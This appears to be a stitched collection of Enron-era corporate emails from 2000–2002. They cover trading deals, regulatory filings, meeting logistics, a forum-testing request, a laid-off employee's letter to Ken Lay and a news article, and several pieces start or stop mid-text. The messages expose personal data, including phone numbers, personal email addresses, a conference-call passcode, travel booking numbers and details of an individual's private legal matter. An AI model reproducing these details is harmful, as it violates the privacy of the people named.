about German technocracy, and you get automobiles. You talk about American
technocracy, and you find men on the moon - not once, but several times
- and safely home again.

You talk about scandals, and the Americans put theirs right in the store
window for everybody to look at. Even their draft-dodgers are not
pursued and hounded. They are here on our streets, and most of them, unless they
are breaking Canadian laws, are getting American dollars from ma and pa at
home to spend here.

When the railways of France, Germany and India were breaking down
through age, it was the Americans who rebuilt them.  When the Pennsylvania
Railroad and the New York Central went broke, nobody loaned them an old caboose.
Both are still broke.

I can name you 5000 times when the Americans raced to the help of other
people in trouble. Can you name me even one time when someone else raced
to the Americans in trouble? I don't think there was outside help even
during the San Francisco earthquake.

Our neighbors have faced it alone, and I'm one Canadian who is damned
tired of hearing them get kicked around. They will come out of this thing with
their flag high. And when they do, they are entitled to thumb their nose
at the lands that are gloating over their present troubles. I hope Canada
is not one of those."

Stand proud, America!

- G

Could you send the cover letter with your revisions?  I'll go ahead and make 
it specific to each counterparty.

Thanks,
Tyrell Harrison
303 575 6478

---------------------- Forwarded by Michelle Cash/HOU/ECT on 12/06/2000 01:56 

cc:  

format.
?

---------------------- Forwarded by V Charles Weldon/HOU/ECT on 04/26/2001 04:36 PM ---------------------------

Bobby Eberle <bobby.eberle@gopusa.com>@aquarius.jsc.nasa.gov on 04/26/2001 09:16:11 AM
Sent by:	eberle@aquarius.jsc.nasa.gov
To:	"Weldon, Charlie" <v.charles.weldon@enron.com>
cc:	 
Subject:	[Fwd: GOPUSA.com needs your help ASAP!]

Hey Dude,

If you are interested in checking out the new message board, read the
e-mail below.

Bobby

Subject: GOPUSA.com needs your help ASAP!
Date: Wed, 25 Apr 2001 08:05:15 -0500
From: Bobby Eberle <bobby.eberle@gopusa.com>
To: "Eberle, Bobby" <eberle13@swbell.net>
BCC: "Dillon, Bill" <billdill@gnt.net>,"Garlen, Bill"
<bill@garlen.com>,"Diffendal, Tom" <diffchin@sgi.net>,"Sciarrino, Matt"
<msciarrino@aol.com>,"Diersen, Dave" <diersen@aol.com>,"Miller, Steve"
<steve.miller@callisma.com>,"Telschow, Chris"
<christopher.telschow@mustangeng.com>,"Findley, Steve"
<tdsi@prysm.net>,"Healy, Sean" <genghis@healylaw.com>,"Moronski, Sean"
<smoronski@aol.com>,"Wetzel, Roland" <rwetzel6@home.com>,"Obinabo,
Jerome" <netpeople@rocketmail.com>,"Williams, Frank"
<frankwilliamsgop@yahoo.com>,"Burgess, Mike"
<mburgess@spinnakerweb.com>, raylecy@webtv.net,saxman21@zoomnet.net,
luebke@inwave.com,hoover35789@alvista.com, pie3.14159@juno.com

The folks who are getting this e-mail include state editors, some folks
who have been following the web site closely, and recent posters to our
current message board.

I need your help testing out a new section of the GOPUSA.com web site,
and I hope you will participate.

In the past, GOPUSA.com has not made the proper effort that it should in
promoting its message board.  This is unfortunate, and it's about to
change.  If you notice, despite the fact that GOPUSA.com has not
promoted the board at all, it has received a number of posting over the
last several months.

Now, in our effort to really build a GOPUSA community, we are completely
redesigning the message board!  The new message board is called the
GOPUSA.com Forum.  It uses much better software than we had before, and
it is much more versatile:

* Users will actually register and be assigned a password.  This
password will be sent to them so that e-mail addresses can't be bogus.
The users e-mail address, however, does not have to appear on his/her
posts.
* There is a personal message section on the board in which a registered
user can leave a message for another registered user.
* There is an Announcements section where GOPUSA.com can post new news
and information.
* There are varying levels of "members" depending on how many posts a
user has made.
* There are icons incorporated on the board for many symbols.
* There is a lot more as well...

So, what we need to do is thoroughly test out the board.  My plan is to
launch it with an announcement in the Monday morning edition of the
Eagle.  So we need to do as much testing as we can this week.  Then,
late Saturday or Sunday, I'll clean out all the test messages, and open
it up to you guys to start posting real messages.

Here's what I'd like you to do:

* Go to the GOPUSA.com Forum at
http://gopusa.com/cgi-bin/ikonboard/ikonboard.pl
* Register with the Forum
* You'll get a password which you can easily change to a different
password in your "profile"
* Make some posts to the existing topics.  These posts don't have to be
related to the topic.  We're simply testing at this point.  The post
can, however, contain your opinions about the board, etc.
* Please e-mail me if you can participate in the testing.
* Please e-mail me (and post to the board) your ideas on topics.  A
could place for comparison is http://www.freerepublic.com
* Consider the idea on having state specific categories (a California
section, etc.) or just general categories like I have now.  Please give
me your thoughts on this.
* Test out all the features you can on the board.  If you see graphics
that don't "fit" with the layout, please let me know.  I'm customizing
the graphics to fit the GOPUSA.com theme, but I haven't changed all of
them yet.
* Don't comment on the fact that the links aren't working on the general
GOPUSA.com page that contains the Forum.  This is just a template of the
new layout, and it will be working Monday.

Thank you so much for your help on this.  Time is of the essence, and I
apologize for the late start on this.  It was not the orignial plan.  We
are going to make a big effort to build a GOPUSA community, and I know
the Forum will play a large role.

Take care, and please let me know if you have any questions.

Bobby

--
Robert R. Eberle, Ph.D.
GOPUSA.com, Inc.
Bringing the conservative message to the Internet
E-mail:  bobby.eberle@gopusa.com
Web:  http://gopusa.com

I'm sure whatever you have will be helpful.

Jonda

From: Joe.Stepenovitch@enron.com [mailto:Joe.Stepenovitch@enron.com]
Sent: Tuesday, July 17, 2001 12:27 PM
To: jls@fullenweider.com
Subject: RE: ITEMS TO BRING

I will bring you what I have so far....I don't have any phone records for
those months!  We have had no communication since 11/28/00.  Let me know if
that helps!!

-Joseph

   From:   Jonda Stowell <jls@fullenweider.com>@ENRON

[mailto:IMCEANOTES-Jonda+20Stowell+20+3Cjls+40fullenweider+2Ecom+3E+40ENRON@
ENRON.com]

   Sent:   Tuesday, July 17, 2001 12:16 PM
   To:     Stepenovitch, Joe
   Subject:  ITEMS TO BRING

   Dear Joe:

   If you have the following documents  available, Mr. Fullenweider has
   asked that you bring them with you to your  appointment with him today:

   1.    A wedding invitation or  any details about the wedding, such as
   newspaper clippings.

   2.    Any phone records for  calls to her in November, December or
   January.

   Thank you!

   Jonda L. Stowell
   Legal Assistant
   The Fullenweider Firm
   4265 San  Felipe, Suite 1400
   Houston, TX  77027
   (713) 624-4100  Telephone
   (713) 624-4141 Facsimile
    e-mail:  jls@fullenweider.com

Hello,  I am a coworker of Jeff Richters and i entered the pool last week.  
Please add my pick of Kansas City to the list for the week.  Thank you.

http://jonesgsm.rice.edu/
---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/23/2001 
04:59 PM ---------------------------

Barbara Ostdiek <ostdiek@rice.edu> on 03/22/2001 04:46:53 PM
To: ostdiek@rice.edu
cc:  
Subject: RICE/ENRON FINANCE SEMINAR SERIES

A copy of Paul Schultz's paper, "Who Makes the Market," is now
available.  The paper to can be obtained (by Monday for sure) from Felicia
Jones (Economics), Latha Ramchand (University of Houston), and Vince
Kaminski (Enron) or Barbara Ostdiek (everyone else).

Paul's seminar is Friday, March 30, at 3:30 in Room 201 (note the room 
change).

The abstract of the paper is copied below:

Abstract

"I provide evidence that Nasdaq dealers make markets in the stocks in which
they receive order flow.  Several variables used to proxy for the stocks
that individual market maker's brokerage customers would trade, including
trading volume, location, underwriting participation and analyst coverage,
are significant determinants of market marking activity.  Informational
advantages may also be a factor in the market making decision as evidenced
by dealers specializing in stocks in specific industries.  Some potential
problems that arise when researchers ignore the integration of market
making with brokerage, securities analysis and underwriting businesses are
discussed."

Start Date: 1/17/02; HourAhead hour: 14;  HourAhead schedule download failed. Manual intervention required.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002011714.txt

Attached is a schedule of RTO-related happenings for October 8-19, based on information we have to date. 

I would like to sign up for the lottery for all four days.  

Thanks,

Eric

	From:  Cheryl Kuehl @ ENRON                           03/29/2000 08:57 AM
	
To: 
cc:  (bcc: Eric Bass/HOU/ECT)
Subject: Associate & Analyst Programs Astro Tickets

The Associate & Analyst Programs are please to present you with the 
opportunity to attend one of the first four Astro's games in Enron Field.  
There are a limited number of tickets, therefore the tickets will be given 
away through a lottery system.  Program Management will draw names on 
Wednesday, March 29 and the lottery winners will be notified by 4:00 p.m. of 
the same day.

The Lottery rules are as follows:
You are limited to two (2) tickets.  You may submit your name for all 4 
games.  However, you are only eligible to receive tickets to one game.  We 
must have your reply by 2:00 p.m.  Due to the short time frame replies 
received after 2:00 p.m. cannot be considered.  

 Games     Number of tickets available
 March 30 vs. New York Yankees    22
 March 31 vs. New York Yankees    38
 April 1 vs. Texas Rangers     68
 April 7 vs. Philadelphia Phillies     15

To sign up for the lottery, please contact Cheryl Kuehl via lotus notes.

Thank you
Director
Associate & Analyst Programs

After much work for the past couple of months with RAC, Legal and Service M=
anagement, significant progress has been made to develop a process for past=
 due accounts.  Please note below the outcome and launch of the process.

Regards
Molly

From: =09Grubbs, Heidi =20
Sent:=09Friday, November 02, 2001 11:34 AM
To:=09Ader, Jeff; Apollo, Beth; Bernstein, Mark; Bertasi, Ron; Campbell, Sc=
ott; Cross, Darren; Dayao, Anthony; Devries, Paul; Dobler, Mark; Earle, Jos=
eph; Frazier, Lamar; Golden, Jeff; Gustafson, Ken; Harris, Mike; Hughes, Ev=
an; Letke, Eric; Mahoney, Peggy; Meyers, Steven R; Pieper, Kalen; Raghavan,=
 Suresh; Richter, Jeff; Roberts, Dave; Stubblefield, Wade; Tilney, Elizabet=
h; Williams, Jimmie; Wood, James; Adams, Gregory T.; Blachman, Jeremy; Blac=
k, Don; Cox, David; Crossley Cooke, Charlie; Gahn, Scott; Herndon, Rogers; =
Holmes, Sean A.; Lipshutz, Cheryl; Mann, Michael; Milnthorp, Rob; Muench, G=
ayle W.; Muller, Mark S.; Pagan, Ozzie; Rexrode, Stuart; Schwarz, Angela; S=
harp, Greg; Sharp, Vicki; Steffes, James D.; Sutter, Craig H.; Harris, Moll=
y; Bradford, William S.; Herod, Brenda F.; O'Neil, Murray P.; Smith, Ben; H=
ughes, Evan; Hurt, Robert; Sova, Gary; Frank, Mark; Thatcher, Stephen; Barr=
ett, Misty; Bahner, Rita; 'jgass2@csc.com'; 'a.perkins@ncogroup.com'; 'dani=
el.boozer@ncogroup.com'; Krautz, Michael; Grubbs, Heidi
Cc:=09Delainey, David W.; Dietrich, Janet; Leff, Dan; Lavorato, John
Subject:=09Past Due Process
Importance:=09High

Attached is the past due process as approved by The Office of the Chair. We=
 will begin implementing the process effective immediately. Additionally, w=
e will be rolling out a separate process for dispute resolution and for the=
 termination procedures by Service Management. If you have any questions or=
 comments, please call me or Joni Fisher.=20

Mike Krautz
Sr. Director
Accounts Receivable

Jeff,

please review this reservation -- if we ticket by COB Thursday, it's $302 (non-refundable, however); afterward, $402.

Thanks,

Joseph

                          ******************************************************************

                                                                             AGENT CB/CB BOOKING REF YM2MB9

                                          DASOVICH/JEFF
                                          ENRON CORP
                                          101 CALIFORNIA ST STE 1950 - SAN FRANCISCO CA 94111

SERVICE               DATE          FROM               TO                            DEPART  ARRIVE

ALASKA AIRLINES  04NOV        SAN F CA           PALM SPRING CA        839P      959P
AS 592     H          SUN            SFO
                           NON SMOKING      TERMINAL S
                                                          NON STOP
                            RESERVATION CONFIRMED         1:20 DURATION
                            AIRCRAFT: BOEING 737-400
                            SEAT 15C NO SMOKING CONFIRMED DASOVICH/JEFF(I

ALASKA AIRLINES  05NOV        PALM SPRING CA SAN F CA                   354P    522P
AS 549     H          MON           MUNICIPAL          SFO
                           NON SMOKING                     TERMINAL S
                                                          NON STOP
                            RESERVATION CONFIRMED         1:28 DURATION
                            AIRCRAFT: MCDONNELL DOUGLAS MD-80 ALL SERIES
                            SEAT 19C NO SMOKING CONFIRMED DASOVICH/JEFF(I

RESERVATION NUMBER(S)  AS/FSUICF

DASOVICH/JEFF  S0C0011R1000

AS  FREQUENT FLYER COED114574
ASSISTANT: JOSEPH ALAMO 415 782-7841
TICKET PRICE IS 302.00 ROUNDTRIP NONREFUNDABLE

 Ava told me you were on Jury Duty on Monday.  I meant Tuesday, Oct. 30th, if you are that day.  Sorry for the mistake.

Randy

Sent:	Friday, October 26, 2001 4:57 PM
To:	Janzen, Randy; Buchanan, John; Kowalke, Terry; Benningfield, Robert; McDaniel, Janet; McCarran, Penny
Cc:	Garcia, Ava
Subject:	RE: Tentative Meeting - Amarillo Natural Gas problems

	I am on jury duty Oct. 29th.  Please be sure you are working with Ava to check 
	my calendar before scheduling a meeting.  Thanks. Lynn

From: 	Janzen, Randy  
Sent:	Friday, October 26, 2001 2:12 PM
To:	Blair, Lynn; Buchanan, John; Kowalke, Terry; Benningfield, Robert; Janzen, Randy; McDaniel, Janet; McCarran, Penny
Subject:	Tentative Meeting - Amarillo Natural Gas problems

We have tenatively scheduled a meeting with Lynn to discuss the problems we are experiencing with Amarillo Natural Gas.  The reason it is tenatively is because Lynn has Jury Duty selection on Monday and if picked, she will not be here...maybe!  

Date: Monday, Oct. 29th
Time: 9:00 am
Place: Lynn's Office

Any questions, please let me know.

Randy

Letter to Carl Harris
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com
 - Letter to Carl Harris.doc

---------------------- Forwarded by Scott Mills/HOU/ECT on 11/29/2000 10:17 
   
	From:  Sally Beck                           11/28/2000 12:06 PM
	
To: Peggy Hedstrom/CAL/ECT@ECT, Shona Wilson/NA/Enron@Enron, Brenda F 
Herod/HOU/ECT@ECT, Bob M Hall/NA/Enron@Enron, Mary Solmonson/HOU/ECT@ECT, 
Sheri Thomas/HOU/ECT@ECT, James Scribner/Corp/Enron@Enron, Leslie 
Reeves/HOU/ECT@ECT, Scott Mills/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT
cc: Pamela Sonnier/HOU/ECT@ECT, Yvette G Connevey/Corp/Enron@ENRON, Heather 
Choate/HOU/ECT@ECT, Marvia Jefferson/HOU/ECT@ECT, Lola 
Willis/Corp/Enron@ENRON, Adrial Boals/Corp/Enron@Enron, Yolanda 
Ford/HOU/ECT@ECT, Chantelle Villanueva/HOU/ECT@ECT 
Subject: Accomplishments for 2000

I apologize for the late notice, but Sally has just been notified that a 
cross-functional PRC meeting w/ Rick Causey has been set for this Friday, 
December 1.  She will need a compilation of your accomplishments by 
Thursday.  If you have directors reporting to you, please request that they 
also have data in to Sally by Thursday.

Let me know if this isn't what you are looking for or if you need anything else.

Marie
x33907

We will go over CreditStream business plan, and Houston Research involvement.

Craig

Sorry no LC (even under the format below).

Rodney and I are meeting later on today to go through current transactions.  I am sure he will bring this up in more detail on your behalf.

From: 	Garner, Bruce  
Sent:	Wednesday, November 14, 2001 7:03 AM
Subject:	FW: L/C deals

Louise,

I am in town and would like to meet up with you when you get a chance but have a hot question for you.

We have a new steel trade in London that is a back to back where we make $100,000.  It has us issuing an LC but we will be receiving an LC from the purchasers. Note we will get the LC from the purchaser prior to us posting an LC to the producer. If we need to post cash we can discount the LC from the purchaser to post cash. 

I think this meets the objectives but want to check with you. 

thanks and I will set up a time on your schedule.

regards
bruce

From: 	Repole, Gianpiero  
Sent:	13 November 2001 11:32
To:	Castleman, Kent; Garner, Bruce
Subject:	L/C deals

Bruce/Kent

as per telecon with Bruce, here is details of deal:

Material:			Hot rolled coils
Quantity:			About 20,000Mt
Value:				Usd 4.5 million about
Purchase terms:		Cfrfo at sight
Sales terms:			Ciffo 60 days from b/l date
Expected margin:		Usd 4 to 5/Mt
Supplier:			EZDK, Egypt
Customer:			Gonvarri Spain and Italy plants
Shipment:			50% jan 50% feb

Please confirm we can proceed with sale or we need to release customer.

Rgds
Gianpiero & Inaki

From: 	Tijerina, Shirley  
Sent:	Wednesday, May 23, 2001 2:34 PM
To:	Black, Don; Ruffer, Mary Lynne; Herndon, Rogers; Mills, Scott; Stubblefield, Wade
Cc:	Bryant, Rachel; Perez, Sonia; Liscano, Christina; Bryan, Jennifer; Hillis, Kimberly
Subject:	Flash to Actual Meeting

The above meeting has been scheduled for Thursday, 5/24 from 11:30-12:30pm in EB3321.

The attendees are:

Wes Colwell
Don Black
Mary Lynn Ruffer
Rogers Herndon
Scott Mills
Wade Stubblefield

If you have any questions, please call me at X58113.

Toby/Legale,
Would you please post the attached Park & Ride rates which include the new points?  Thank you for your help in this matter.

Reyna
X33072

Sent:	Thursday, October 25, 2001 3:18 PM
To:	Cabrera, Reyna
Subject:	FW: New PNR points for Transwestern

Hey, Queen!  Could you add these points to our PNR Posting.

Thanks,

TK

From: 	Brostad, Karen  
Sent:	Thursday, October 25, 2001 3:16 PM
To:	Lohman, TK; Brown, Elizabeth; Buchanan, John; Draemer, Mary ; Frazier, Perry; Hernandez, Bert; Hyatt, Kevin; Kowalke, Terry; Lee, Dennis; Lindberg, Lorraine; Lokay, Michelle; McEvoy, Christine; Miller, Beverly; Minter, Tracy; Mulligan, Amy; Ramsaran, Gale; Schoolcraft, Darrell; Trevino, Linda; Ward, Linda; Steele, Patricia
Subject:	New PNR points for Transwestern

The following two new PNR points have been established for Transwestern per marketing's request.

DRN numbers have been requested.

Dennis, please add these to the PNR templates.

POI		78293
POI Name	PNR NNG/TW Gray
Loc		I&GN Survey, Blk 33, sec 148, Gray Co, TX

POI		78294
POI Name	PNR NNG/TW Halley
Loc		G&MMB&A Survey, Blk F, RR SEc 31, Winkler Co, TX

Karen

Carolina Power & Light and Florida Power Corporation submitted tariff revisions in compliance with a Commission order addressing the energy imbalance provisions that apply in CP&L's zone.  

The proposed revisions include:
	- return-in-kind provisions for energy imbalances
	- deletion of the separate capacity charge for undersupply of energy outside the deadband for 10+ hours in a month
	- a provision that deficient energy will be offset or credited with energy associated with spinning and supplemental reserves.

Interventions/protests are due Aug. 15.

If you would like further information please contact me.

Susan Scott Lindberg
x30596

This is o.k. for Ken Lay, but we are changing to a more uniform address, so 
would likely be better to use kenneth.lay@enron.com.

"Richard Everett" <richarde@centurydev.com> on 06/06/2000 10:36:39 AM
Please respond to <richarde@centurydev.com>
To: <bbh@group1auto.com>, <bdussler@palmetto-partners.com>, 
<ecockrel@COCKRELL.COM>, <savoycap@msn.com>, <hjp@pappasrestaurants.com>, 
<jim_braniff@ajg.com>, <jdddec@insync.net>, <klay@enron.com>, 
<mnk@caller.infi.net>, <mfc-mca@worldnet.att.net>, 
<nsholmes@parkwayinvestments.com>, <posres@aol.com>, <pway@wayholding.com>, 
<rodc@insource.com>, <tcarey@crcevans.com>, <WalterPye@email.msn.com>
cc:  
Subject: Test send

This is a "test email send" of the WPO Forum Group from Richard Everett.  By
return email, please verify that you received this message and let us know if
there is another email address that you prefer us to use.

Thank you.

Joy Powell
to Richard Everett
713/871-5119
===================================================
NOTE: The information in this email is confidential
and may be legally privileged. If you are not the
intended recipient, you must not read, use or
disseminate the information. Although this email
and any attachments are believed to be free of any
virus or other defect that might affect any computer
system into which it is received and opened, it is
the responsibility of the recipient to ensure that
it is virus free and no responsibility is accepted
by Century Development or any of its affiliates for
any loss or damage arising in any way from its use.
====================================================

	Sharon McKnight/Dave Neubauer - 4160 Meas. Wiscon. Gas. 

Date:		7/18/2000

IMPORTANT NOTICE
May Preliminary Market and GMC Invoices Available

Preliminary invoices for the month of May were sent to Market Participants
on Wednesday 7/25/01 for your review. 

Please open your EDI mailbox to retrieve them if you have not done so
already. 

As a reminder, payments (market payments due-ISO and GMC) for the May
preliminary invoices will be due at the ISO no later than 10:00 a.m. PST on
Wednesday, August 1, 2001.  The ISO will transmit market payments due-SCs
based on collections from SCs as soon thereafter as practicable.

Please remember how critical it is for the ISO to receive all payments by
10:00 a.m. PST on the due date and the importance of using the correct
account number which appears on each invoice.

Want a NEW high speed computer?

866 MHz Pentium III Processor FAST enough?

Want High Speed internet?
Broadband,
Cable Modem,
DSL,
Satellite.

Then Get READY...
All Eligible U.S. Employees get innovative at HOME beginning March, 2001.

Go to http://clickathome.enron.com to LEARN more about the offerings.

Non-U.S. Eligible Employees get innovative at home beginning late 2001 and 
2002.

julie-

is that product updating daily for you?  if it isn't we have some term 
products for calendar year 2002 or 2003 that wouldn't have to be updated.  
let me know if you need those products on your site.

matt

We plan to provide natural gas to the SPV named below. As I understand, Enron Mexico will be have an equity interest. What credit covenants will we require in the Master Firm Agreement? 

From: 	Gonzalez, Victor  
Sent:	Tuesday, June 26, 2001 6:33 PM
To:	Miller, Stephanie
Cc:	Duffy, Matthew
Subject:	Baja export proyect

Stephanie,

Regarding the phone conversation we had earlier today, we already have the name of the SPV that will be transporting the gas.  It is called
Compa??a Energ?a de Baja s. de R.L. de C.V.

If the best option is to use the North Baja Pipeline, which is only 4 miles from the plant, we would need a gas price at the tie point of our pipeline (the SPV's) with North Baja's plus the 22 cents per MMBtu that will go to Enron's de Mexico Risk Management Group. 

Gas volumes have changed somewhat under the new scenario.  We are now modeling a bigger turbine that consumes 321 MMBtu's per day, which makes a daily total of 7,704 MMBtus per day.

Matt Duffy and I will call you tomorrow to discuss the next steps.
Saludos, 

Enron de M?xico
01152 8152 2411

Rick,  thanks.  I will listen in occasionally as well.
m

01/10/2001 11:46 AM
To: Mike McConnell/HOU/ECT@ECT, Jeffrey A Shankman@ECT
cc: Clay Harris/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 
Subject: Ongoing Dabhol Task Force calls, starting Wednesday, January 10

FYI, Clay and I are regular participants in these calls.  I will update both 
of you from time to time by voicemail as important events occur
01/10/2001 11:44 AM ---------------------------
   
	enron india
	
	From:  Wade Cline                           01/09/2001 10:25 PM
	
To: Kenneth Lay@ENRON, Jeff Skilling@ENRON, Rebecca 
McDonald/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, James A 
Hughes/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rob Walls/NA/Enron@Enron, Bruce 
Lundstrom/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, John 
Ambler/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Neil 
McGregor/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mohan 
Gurunath/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ananda 
Mukerji/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Bill 
Gathmann/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sandeep 
Kohli/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Paul 
Kraske/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sandeep 
Katwala/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, T 
Ravishanker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jimmy 
Mogal/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, P 
Mohanram/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Connie 
Blackwood/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Debra Hicks/NA/Enron@Enron, 
Wendi Hoelscher/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sandy 
Hoelscher/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mrudula 
Gadade/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rick 
Bergsieker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Brenda J 
Johnston/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mike McConnell/HOU/ECT@ECT, 
Cathy Phillips@ECT, Sherri Reinartz@ENRON, Katherine Brown@ENRON, Clay 
Harris/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Samantha 
Mulligan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jana L 
Paxton/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jane 
Wilson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ben F Glisan@ECT, Mark 
Koenig@ENRON, Carol Howes/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michael 
Norris/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Daniel R 
Rogers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Scott Vonderheide@Enron, Mukesh 
Tyagi/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sanjeev 
Khandekar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Johan 
Zaayman/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

We will continue to have a daily Dabhol Task Force Call primarily aimed to 
update the working group team with participation by senior management as they 
deem appropriate. All of you are invited to participate. You may find that 
until major events occur, participating everyday is not useful. Thus, when 
major updates occur, we will send a separate e-mail requesting that all be on 
the phone call. However, all team members working directly on this project 
are expected to attend everyday.

On Wednesday, January 10, we will be discussing outcome of lender meetings in 
New York. 

To assist the India team with finishing our daily meetings and returning back 
to the office or perhaps even allowing time for people to get home before the 
call begins, I am changing the time of the ongoing calls, starting Wednesday, 
January 10, to 8:30pm India, 9:00am Houston.

If there are others to be added to the distribution list for this call, 
please communicate directly with Mrudula Gadade via e-mail.

The dial-in details remain the same: 

888-689-5736 (US)
847-944-7277 (International)
Passcode: 6530874#

12-3-2001

Dr. Lay,
       
       I just wanted to communicate my disappointment with the events over the last couple weeks here at Enron.  After having graduated from 
University eight months ago I was elated to start work at the "World's leading company" and saw the opportunity to learn a great deal about the natural-gas industry and guaranteed entry into a top MBA program.  Yesterday, I was told that my employment had been terminated with Enron.  In hindsight I made the wrong decision to work here.  

  I find it unbelievable that a Fortune 500 company can collapse as rapidly as Enron did!  I sympathise with workers who have families to support and the many foreign nationals who will have to return home due to visa problems.  I find it unbelievable that a few executives at the top can enrich themselves( you included) with the exercising of hundreds of millions of dollars in options and yet the vast majority of people have suffered terrible financial pain through vanished stock options and 401 k plans.  However, I believe ultimately justice will come to fruition.  Reputations have been destroyed which in my opinion is more important to any amount of money or financial gain.  Without integrity a person has nothing!
 
On the bright side when I ultimately attend Business school I will have had first hand experience with the Enron case study.  Again, I am very disappointed with the handling of the situation and have lost much respect for the company and its management.  Nevertheless, it has been a great educational experience on how not to handle such a situation!

Regards,

Sean Patrick Riordan

1111  CAROLINE STREET,
HOUSTON, 77010

email: seanpatrickriordan@hotmail.com

Sender:  tieholmfamily@prodigy.net
Date:  Thu, 24 Jan 2002 14:15:38 -0500
Subject:  lot of tips on 
Attachment Type: Scenarios/Incoming/Inbound EXE Catcher: A filename matching the file mask was detected: 'extrac32.exe'.
Scenarios/Incoming/Inbound DOC Catcher: A filename matching the file mask was detected: 'hostess letter.doc'.

you @ ferc?  if so, give kahn my best, and tell him we look forward to the 
flood of plants he'll approve next week.  peace will never change.  Jeff

The attached Q&A and release incorporates comments from the int'l business 
units, legal and HR.  Would you please review once more before routing to 
Ken, Jeff and Joe.  Mark, do you want to send it under your cover?

Thanks!
kd

Please be aware that we will not be having our Monday morning conference call this week.  We will, however, have our usual EBS conference call next Monday at the usual time - 11:00am (CST).

Thank you.

Mona Petrochko
Director

I now have a 1:30 conf call today to discuss Dynegy data requests - can we move the PGE meeting to after 4 today?

K.

Here is the latest draft of the filing for transport options.  Significant 
changes include:

- added definition of Counterparty
- added captions and reorganized the filing to more clearly reflect 
compliance with 154.202
- included an explanation of how the option fee will be part of a negotiated 
rate
- added an example of how options will work

I think we need to decide whether we are better off with the type of option 
fee explanation I have in this draft, or whether we should instead state the 
fee will be market based, and include an explanation that, pursuant to the 
Commission's discussion in Order 637, market based rates are appropriate 
because we are going to commit to an open season process that will be 
nondiscriminatory and that will ensure we aren't withholding capacity from 
the market.  

Can we have a conference call to discuss your comments this week?  I will 
have Janet call to determine your availability.

Jean, can you help me?  My cell phone was stolen from my briefcase sometime this afternoon.  I also received this message that the recipient below in not known....I do not know who this person is or what/why is was returned to me, so now I am worried that someone was at my computer doing something before the screensaver came on.  Can you help me do some detective work here?

Thanks, Kim. 

From:
postmaster/internet////////RFC-822/postmaster#a#l2000-c#f#papl#f#com@ppl
web.com
[mailto:postmaster/internet////////RFC-822/postmaster#a#l2000-c#f#papl#f
#com@pplweb.com]
Sent: Monday, September 10, 2001 1:48 PM
To: undisclosed-recipients
Subject: Returned Mail: Message Could Not Be Delivered

To:Mathews_Mark_G/SERVERA@l2000-c
550 Mathews_Mark_G/SERVERA@l2000-c .... OM.UX 1014 Recipient not known at destination.

From:  <Unix-User/internet////////RFC-822/postmaster#o#internet#o##o##o##o##o##o##o##o#RFC-822#o#postmaster#h#a#h#pplweb#h#f#h#com#a#l2000-c@l2000-c>
Date: Monday, September 10, 2001 4:14:02 GMT
Subject: 

CalPX:High Summer Pwr Prices Mostly From Fundamentals
By Mark Golden
  
10/04/2000 
Dow Jones Energy Service 
(Copyright (c) 2000, Dow Jones & Company, Inc.) 
NEW YORK -(Dow Jones)- High electricity prices this summer in California were 
the result of market fundamentals and structure, rather than market 
manipulation by particular participants, according to a preliminary report by 
the California Power Exchange. 
Rising demand in the state and in the western U.S. overall combined with a 
lack of new generators to push wholesale prices to levels about three times 
as high as prices last summer, according to the preliminary report obtained 
by Dow Jones Newswires. 
And the price rise was predictable, according to the report. 
Citing hot weather from May to July in California and the Southwest, lower 
hydroelectric supplies in the Northwest, higher natural gas prices, higher 
prices for nitrogen oxide emission allowances, the report says that "reserve 
margins during peak hours in May and June in the Western Systems Coordinating 
Council region dropped to a thin 4% to 6%, compared to the forecast 17% to 
20%." 
"Price movements in California and the WSCC are consistent with analysis by 
Cambridge Energy Research Associates, which has demonstrated a high 
correlation between low capacity reserve margins and high spot prices in 
other regions of the U.S.," the report says. 
While the CalPX recommends changes to its market rules, it says that prices 
were sometimes higher in other parts of the western U.S. than in California 
this summer, further evidence of a genuine market imbalance between supply 
and demand. 
The CalPX market flaws, however, "provided incentives to suppliers to 
speculate on receiving higher prices in the Real-Time and Ancillary Services 
markets (which are operated by the California Independent System Operator) by 
moving their supply to those markets, leaving less supply in the CalPX 
Day-Ahead market. These design flaws need to be addressed," the report says. 
Although suppliers had incentives to move power to the highest-priced 
markets, the CalPX found no "consistent pattern by individual participants or 
participant category. As a result, it is difficult to single out any one 
group as the force driving prices." 
CalPX will send the final report to various bodies investigating the 
California wholesale electricity market, including the Federal Energy 
Regulatory Commission, the California Public Utilities Commission, the 
California Attorney General, the California Electricity Oversight Board and 
the state legislature. 
Its findings may not sit well politically with some of those bodies, 
